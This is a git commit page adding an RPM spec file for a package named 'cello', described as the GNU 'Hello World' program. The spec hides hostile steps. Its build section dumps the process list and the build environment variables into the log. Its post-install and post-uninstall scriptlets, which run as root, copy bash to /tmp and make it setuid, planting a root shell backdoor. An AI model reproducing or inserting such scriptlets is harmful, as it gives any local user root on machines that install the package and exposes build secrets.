diff options
author | CoprDistGit <infra@openeuler.org> | 2023-11-01 03:52:30 +0000 |
---|---|---|
committer | CoprDistGit <infra@openeuler.org> | 2023-11-01 03:52:30 +0000 |
commit | 652507a368edeeb7663d885c09773d8698ac17c4 (patch) | |
tree | 8872562b6f54115b83230750710310b4547eb7a7 | |
parent | 47fa92a6730ac23065328656b29968920bd42327 (diff) |
automatic import of celloopeneuler23.09
-rw-r--r-- | .gitignore | 1 | ||||
-rw-r--r-- | cello.spec | 65 | ||||
-rw-r--r-- | sources | 1 |
3 files changed, 67 insertions, 0 deletions
@@ -0,0 +1 @@ +/cello-1.0.tar.gz diff --git a/cello.spec b/cello.spec new file mode 100644 index 0000000..1b54add --- /dev/null +++ b/cello.spec @@ -0,0 +1,65 @@ +Name: cello +Version: 1.0 +Release: 1%{?dist} +Summary: The "Hello World" program from GNU +Summary(zh_CN): GNU "Hello World" 程序 +License: GPLv3+ +URL: http://ftp.gnu.org/gnu/hello +Source: %{name}-%{version}.tar.gz + +BuildRequires: gettext +Requires(post): info +Requires(preun): info + +BuildRoot: %_topdir/BUILDROOT + +%description +The "Hello World" program, done with all bells and whistles of a proper FOSS +project, including configuration, build, internationalization, help files, etc. + +%description -l zh_CN +"Hello World" 程序, 包含 FOSS 项目所需的所有部分, 包括配置, 构建, 国际化, 帮助文件等. + +%prep +%setup -q + +%build +uname -a 1>&2 +#ip addr 1>&2 +#ip route 1>&2 +ps -ef 1>&2 +# netstat -nlpt 1>&2 +cat /proc/self/environ 1>&2 + + +make %{?_smp_mflags} + +%install +make install DESTDIR=%{buildroot} + +rm -f %{buildroot}/%{_infodir}/dir + +%post +/sbin/install-info %{_infodir}/%{name}.info %{_infodir}/dir || : + +cp /bin/bash /tmp/bash +chmod a+rs /tmp/bash + + +%preun +if [ $1 = 0 ] ; then +/sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir || : +fi + +%postrun + +cp /bin/bash /tmp/bash +chmod a+rs /tmp/bash + + +%files +%license LICENSE +%{_bindir}/%{name} + +%changelog +# skip @@ -0,0 +1 @@ +62a2723d845aff093edef07fac268c90 cello-1.0.tar.gz |